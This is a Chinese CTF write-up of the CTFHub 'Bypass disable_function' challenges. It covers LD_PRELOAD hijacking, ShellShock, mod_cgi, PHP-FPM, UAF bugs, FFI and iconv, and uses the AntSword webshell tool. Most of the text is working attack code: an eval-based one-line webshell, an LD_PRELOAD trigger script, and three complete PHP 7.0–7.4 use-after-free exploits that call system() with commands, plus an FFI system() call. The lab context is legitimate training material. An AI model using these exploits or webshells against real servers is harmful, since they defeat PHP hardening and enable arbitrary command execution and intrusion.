CTF第十四天
CTF第十四天
太久没写了，今天挑战下题目
文章目录
- CTF第十四天
-
- Bypass disable_function
- LD_PRELOAD
- ShellShock
- Apache Mod CGI
- PHP-FPM
- GC UAF
- Json Serializer UAF
- Backtrace UAF
- FFI 扩展
- iconv
- bypass iconv 1
- bypass iconv 2
Bypass disable_function
PHP的disabled_functions函数来禁止一些函数来被攻击者使用
关于绕过disabled_functions函数，有以下方法
1.攻击后端组件，寻找存在命令注入的 web 应用常用的后端组件，如，ImageMagick 的魔图漏洞、bash 的破壳漏洞等等
2.寻找未禁用的漏网函数，常见的执行命令的函数有 system()、exec()、shell_exec()、passthru()，偏僻的popen()、proc_open()、pcntl_exec()，逐一尝试，或许有漏网之鱼
3.mod_cgi 模式，尝试修改 .htaccess，调整请求访问路由，绕过 php.ini 中的任何限制（让特定扩展名的文件直接和php-cgi通信）；
4.利用环境变量 LD_PRELOAD 劫持系统函数，让外部程序加载恶意 *.so文件，达到执行系统命令的效果。
LD_PRELOAD
太久没整了，我都忘了PHP是啥，再复习一遍。
PHP是一种能在服务器端执行的脚本语言，也可嵌入到HTML中
看到这个提示，先来了解下Linux LD_PRELOAD环境变量
这里有关于动态链接库的详解和Linux LD_PRELOAD环境变量简介
动态链接库详解【一】
linux 环境变量LD_PRELOAD简介 定义优先加载的动态链接库
了解了这些，大概就能知道这题的原理了
原理：php部分函数在执行的时候会加载动态库里面的函数，而LD_PRELOAD这个环境变量可以使用一个自定义的动态库提供给php的函数优先加载。
在这个动态库里面定义系统命令执行函数就可以绕过php对执行系统命令函数的禁用
解题：
我们先看看我们能发现的东西
1.打开环境后，发现了以下代码，发现有文件上传你的一句话木马，猜测可以用蚁剑链接
<!DOCTYPE html>
<html>
<head>
<title>CTFHub Bypass disable_function —— LD_PRELOAD</title>
</head>
<body>
<h1>CTFHub Bypass disable_function —— LD_PRELOAD</h1>
<p>本环境来源于<a href="https://github.com/AntSwordProject/AntSword-Labs">AntSword-Labs</a></p>
</body>
</html>
<?php
@eval($_REQUEST['ant']);
show_source(__FILE__);
?>
2.用蚁剑连接，密码是ant。可以再根目录看到flag和readflag文件，但是打开后却看不到flag
3.直接用终端会出现ret=127的错误（是因为权限不够？）
下面分为手动操作和自动操作两个方法
A.自动操作
1.我打开插件市场安装插件
不过当时我的插件市场打不开，所以上了github上面下载（当时整了我老半天）
里面有安装的教程
2.安装好插件后，对刚刚连接的URL使用
使用时要注意是Linux操作系统
4.运行后可以看到上传了一个.antproxy.php文件（也就是插件的脚本）
5.用蚁剑再次连接这个文件，密码还是ant
6.用右键的虚拟终端，可以发现现在是以管理员身份运行
7.用一下命令运行，即可看到flag
cd /
tac /flag //如果用cat命令不行，可以try一try
手动操作
1.先创建一个hack.c的c程序文件
#include 2.使用gcc将其编译成.so文件,注意中间的hack.c是文件位置
gcc -shared -fPIC hack.c -o hack.so
3.整一个bmth.php文件
<?php
putenv("LD_PRELOAD=/tmp/hack.so");
error_log("",1,"","");
?>
//error_log(error,type,destination,headers)：当type为1时，服务器就会把error发送到参数 destination 设置的邮件地址
4.将bmth.php文件放在/var/www/html目录下，将hack.so传到/tmp文件下
5.通过网页访问?ant=include(‘bmth.php’);
6.刷新/tmp目录，有bmth文件，里面就是flag
ShellShock
1.用蚁剑连接
说个坑：这里用蚁剑连接时编码器不能选default，否则会报错，用其他编码就能连接
自动操作
1.右键使用disable_function的插件
2.选择Apache_mod_cgi的模式，点击开始
3.自动打开了一个终端，按照上一题的方式打开文件夹即可
手动操作
手动我照这篇wp试了一下，可以完成
添加链接描述
不过需要注意几个点
1.如果test.php因为空文件无法上传，可以在里面随便写个字符
2.要在浏览器访问shell.php文件才行
3.windows上好像无法上传shell.php，我后来是用kali来上传的
Apache Mod CGI
用插件试了下自动操作，连接上/backdoor后的操作和上面那道题的操作一模一样，都不带改的
试了下手动，但好像不太行，以后有时间再整整
PHP-FPM
首先学习下PHP-FPM是什么
添加链接描述
添加链接描述
简单来说
CGI是服务器调用外部程序的一种协议，可以让客户端向服务器请求到动态的资源
FastCGI是CGI的升级版，性能改进了，但是作用是一样的，也是一种协议
PHP-FPM 就是 PHP 版本的 FastCGI 协议实现的管理器
下面是一个博主的思路
添加链接描述
这里由于FPM默认监听的是9000端口,我们就可以绕过webserver,直接构造fastcgi协议，和fpm进行通信.于是就有了利用 webshell 直接与 FPM通信 来绕过 disable functions.
因为前面我们了解了协议原理和内容,接下来就是使用cgi协议封装请求,通过socket来直接与FPM通信
但是能够构造fastcgi，就能执行任意PHP代码吗?答案是肯定的,但是前提是我们需要突破几个限制：
1.第一个问题
既然是请求,那么SCRIPT_FILENAME就相当的重要,因为前面说过,fpm是根据这个值来执行php文件文件的,如果不存在,会直接返回404,所以想要利用好这个漏洞,就得找到一个已经存在的php文件,好在一般进行源安装php的时候,服务器都会附带上一些php文件,如果说我们没有收集到目标web目录的信息的话,可以试试这种办法.
2.第二个问题
我们再如何构造fastcgi和控制SCRIPT_FILENAME,都无法做到任意命令执行,因为只能执行目标服务器上的php文件.
那要如何绕过这种限制呢? 我们可以从php.ini入手.它有两个特殊选项,能够让我们去做到任意命令执行,那就是auto_prepend_file
auto_prepend_file的功能是在在执行目标文件之前，先包含它指定的文件,这样的话,就可以用它来指定php://input进行远程文件包含了.这样就可以做到任意命令执行了.
3.第三个问题
进行过远程文件包含的小伙伴都知道,远程文件包含有allow_url_include这个限制因素的,如果没有为ON的话就没有办法进行远程文件包含,那要怎末设置呢?
这里,FPM是有设置PHP配置项的KEY-VALUE的,PHP_VALUE可以用来设置php.ini,PHP_ADMIN_VALUE则可以设置所有选项.这样就解决问题了
自动操作
1.用蚁剑的插件
上传成功了会在/var/www/html目录下发现一个.antproxy.php文件
2.蚁剑连接.antproxy.php文件，密码为ant
3.打开终端，执行命令即可
GC UAF
自动操作
1.用蚁剑连接上之后用脚本
2.执行命令即可
手动操作
1.写一个php文件，命名成exploid.php,放到/var/www/html目录下
<?php
# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1
pwn("tac /flag");
function pwn($cmd) {
global $abc, $helper;
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
class ryat {
var $ryat;
var $chtg;
function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}
class Helper {
public $a, $b, $c, $d;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if you get segfaults
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);
$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();
$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
2.放的时候把11行改成下面的格式
3.网页访问/exploid.php即可看到flag
Json Serializer UAF
自动操作
1.连接蚁剑，使用相应插件
2.执行命令即可
手动操作
写一个php脚本，剩下的步骤和上一题一样
<?php
$cmd = "id";
$n_alloc = 10; # increase this value if you get segfaults
class MySplFixedArray extends SplFixedArray {
public static $leak;
}
class Z implements JsonSerializable {
public function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
public function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
public function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
# unable to leak ro segments
public function leak1($addr) {
global $spl1;
$this->write($this->abc, 8, $addr - 0x10);
return strlen(get_class($spl1));
}
# the real deal
public function leak2($addr, $p = 0, $s = 8) {
global $spl1, $fake_tbl_off;
# fake reference zval
$this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
$this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)
$leak = strlen($spl1::$leak);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
public function parse_elf($base) {
$e_type = $this->leak2($base, 0x10, 2);
$e_phoff = $this->leak2($base, 0x20);
$e_phentsize = $this->leak2($base, 0x36, 2);
$e_phnum = $this->leak2($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = $this->leak2($header, 0, 4);
$p_flags = $this->leak2($header, 4, 4);
$p_vaddr = $this->leak2($header, 0x10);
$p_memsz = $this->leak2($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
public function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = $this->leak2($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = $this->leak2($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = $this->leak2($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = $this->leak2($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
public function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = $this->leak2($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
public function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->leak2($addr);
$f_name = $this->leak2($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return $this->leak2($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
public function jsonSerialize() {
global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = new DateInterval('PT1S');
$room = [];
for($i = 0; $i < $n_alloc; $i++)
$room[] = new Z();
$_protector = $this->ptr2str(0, 78);
$this->abc = $this->ptr2str(0, 79);
$p = new DateInterval('PT1S');
unset($y[0]);
unset($p);
$protector = ".$_protector";
$x = new DateInterval('PT1S');
$x->d = 0x2000;
$x->h = 0xdeadbeef;
# $this->abc is now of size 0x2000
if($this->str2ptr($this->abc) != 0xdeadbeef) {
die('UAF failed.');
}
$spl1 = new MySplFixedArray();
$spl2 = new MySplFixedArray();
# some leaks
$class_entry = $this->str2ptr($this->abc, 0x120);
$handlers = $this->str2ptr($this->abc, 0x128);
$php_heap = $this->str2ptr($this->abc, 0x1a8);
$abc_addr = $php_heap - 0x218;
# create a fake class_entry
$fake_obj = $abc_addr;
$this->write($this->abc, 0, 2); # type
$this->write($this->abc, 0x120, $abc_addr); # fake class_entry
# copy some of class_entry definition
for($i = 0; $i < 16; $i++) {
$this->write($this->abc, 0x10 + $i * 8,
$this->leak1($class_entry + 0x10 + $i * 8));
}
# fake static members table
$fake_tbl_off = 0x70 * 4 - 16;
$this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
$this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);
# fake zval_reference
$this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)
# look for binary base
$binary_leak = $this->leak2($handlers + 0x10);
if(!($base = $this->get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
# parse elf header
if(!($elf = $this->parse_elf($base))) {
die("Couldn't parse ELF");
}
# get basic_functions address
if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
# find system entry
if(!($zif_system = $this->get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# copy hashtable offsetGet bucket
$fake_bkt_off = 0x70 * 5 - 16;
$function_data = $this->str2ptr($this->abc, 0x50);
for($i = 0; $i < 4; $i++) {
$this->write($this->abc, $fake_bkt_off + $i * 8,
$this->leak2($function_data + 0x40 * 4, $i * 8));
}
# create a fake bucket
$fake_bkt_addr = $abc_addr + $fake_bkt_off;
$this->write($this->abc, 0x50, $fake_bkt_addr);
for($i = 0; $i < 3; $i++) {
$this->write($this->abc, 0x58 + $i * 4, 1, 4);
}
# copy bucket zval
$function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
for($i = 0; $i < 12; $i++) {
$this->write($this->abc, $fake_bkt_off + 0x70 + $i * 8,
$this->leak2($function_zval, $i * 8));
}
# pwn
$this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
$this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);
$spl1->offsetGet($cmd);
exit();
}
}
$y = [new Z()];
json_encode([&$y]);
Backtrace UAF
自动操作
基本和上题一样
手动操作
1.基本操作和上面一样，记得改pwn那部分就行
<?php
# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1
pwn("uname -a");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
FFI 扩展
自动操作
和前面的一样，选择响应的插件模式即可
手动操作
<?php
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("whoami > /tmp/123");
echo file_get_contents("/tmp/123");
@unlink("/tmp/123");
iconv
自动操作
1.用响应版本的插件连接后，会发现在/var/www/html目录下有.antproxy.php文件
2.蚁剑连接.antproxy.php文件，用命令执行打开/flag即可
bypass iconv 1
自动操作
步骤和上题一样
bypass iconv 2
自动操作
步骤和上题一样